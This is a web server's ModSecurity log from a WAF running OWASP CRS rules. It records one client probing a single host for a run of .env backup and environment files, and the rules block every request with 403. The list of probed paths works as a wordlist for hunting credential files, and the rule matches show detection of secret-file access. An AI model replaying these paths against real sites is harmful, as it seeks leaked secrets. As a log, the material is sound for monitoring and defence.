[Sat Oct 24 18:41:51.426000 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at00L3xUk1Q9Uwuht9UDOgAAAAE"]
[Sat Oct 24 18:41:51.426239 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at00L3xUk1Q9Uwuht9UDOgAAAAE"]
[Sat Oct 24 18:41:51.426608 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at00L3xUk1Q9Uwuht9UDOgAAAAE"]
[Sat Oct 24 18:41:51.556636 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at00L3xUk1Q9Uwuht9UDOwAAAAE"]
[Sat Oct 24 18:41:51.556896 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at00L3xUk1Q9Uwuht9UDOwAAAAE"]
[Sat Oct 24 18:41:51.557304 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at00L3xUk1Q9Uwuht9UDOwAAAAE"]
[Sat Oct 24 18:41:51.676578 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at00L3xUk1Q9Uwuht9UDPAAAAAE"]
[Sat Oct 24 18:41:51.676856 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at00L3xUk1Q9Uwuht9UDPAAAAAE"]
[Sat Oct 24 18:41:51.677181 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at00L3xUk1Q9Uwuht9UDPAAAAAE"]
[Sat Oct 24 18:41:51.856639 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at00L3xUk1Q9Uwuht9UDPQAAAAE"]
[Sat Oct 24 18:41:51.856884 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at00L3xUk1Q9Uwuht9UDPQAAAAE"]
[Sat Oct 24 18:41:51.857249 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at00L3xUk1Q9Uwuht9UDPQAAAAE"]
[Sat Oct 24 18:41:52.067744 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at00MHxUk1Q9Uwuht9UDPgAAAAE"]
[Sat Oct 24 18:41:52.068050 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at00MHxUk1Q9Uwuht9UDPgAAAAE"]
[Sat Oct 24 18:41:52.068420 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at00MHxUk1Q9Uwuht9UDPgAAAAE"]
[Sat Oct 24 18:41:52.182875 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at00MHxUk1Q9Uwuht9UDPwAAAAE"]
[Sat Oct 24 18:41:52.183137 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at00MHxUk1Q9Uwuht9UDPwAAAAE"]
[Sat Oct 24 18:41:52.183582 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at00MHxUk1Q9Uwuht9UDPwAAAAE"]
[Sat Oct 24 18:41:52.363939 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at00MHxUk1Q9Uwuht9UDQAAAAAE"]
[Sat Oct 24 18:41:52.364290 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at00MHxUk1Q9Uwuht9UDQAAAAAE"]
[Sat Oct 24 18:41:52.364787 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at00MHxUk1Q9Uwuht9UDQAAAAAE"]
[Sat Oct 24 18:41:52.503895 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at00MHxUk1Q9Uwuht9UDQQAAAAE"]
[Sat Oct 24 18:41:52.504154 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at00MHxUk1Q9Uwuht9UDQQAAAAE"]
[Sat Oct 24 18:41:52.504527 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at00MHxUk1Q9Uwuht9UDQQAAAAE"]
[Sat Oct 24 18:41:52.629392 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at00MHxUk1Q9Uwuht9UDQgAAAAE"]
[Sat Oct 24 18:41:52.629634 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at00MHxUk1Q9Uwuht9UDQgAAAAE"]
[Sat Oct 24 18:41:52.630004 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at00MHxUk1Q9Uwuht9UDQgAAAAE"]
[Sat Oct 24 18:41:52.729597 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at00MHxUk1Q9Uwuht9UDQwAAAAE"]
[Sat Oct 24 18:41:52.729820 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at00MHxUk1Q9Uwuht9UDQwAAAAE"]
[Sat Oct 24 18:41:52.730149 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at00MHxUk1Q9Uwuht9UDQwAAAAE"]
[Sat Oct 24 18:41:52.995051 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at00MHxUk1Q9Uwuht9UDRAAAAAE"]
[Sat Oct 24 18:41:52.995327 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at00MHxUk1Q9Uwuht9UDRAAAAAE"]
[Sat Oct 24 18:41:52.995685 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at00MHxUk1Q9Uwuht9UDRAAAAAE"]
[Sat Oct 24 18:41:53.120055 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at00MXxUk1Q9Uwuht9UDRQAAAAE"]
[Sat Oct 24 18:41:53.120316 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at00MXxUk1Q9Uwuht9UDRQAAAAE"]
[Sat Oct 24 18:41:53.120685 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at00MXxUk1Q9Uwuht9UDRQAAAAE"]
[Sat Oct 24 18:41:53.289509 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at00MXxUk1Q9Uwuht9UDRgAAAAE"]
[Sat Oct 24 18:41:53.289776 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at00MXxUk1Q9Uwuht9UDRgAAAAE"]
[Sat Oct 24 18:41:53.290127 2026] [security2:error] [pid 2707162:tid 2707162] [client 34.17.7.214:58786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at00MXxUk1Q9Uwuht9UDRgAAAAE"]
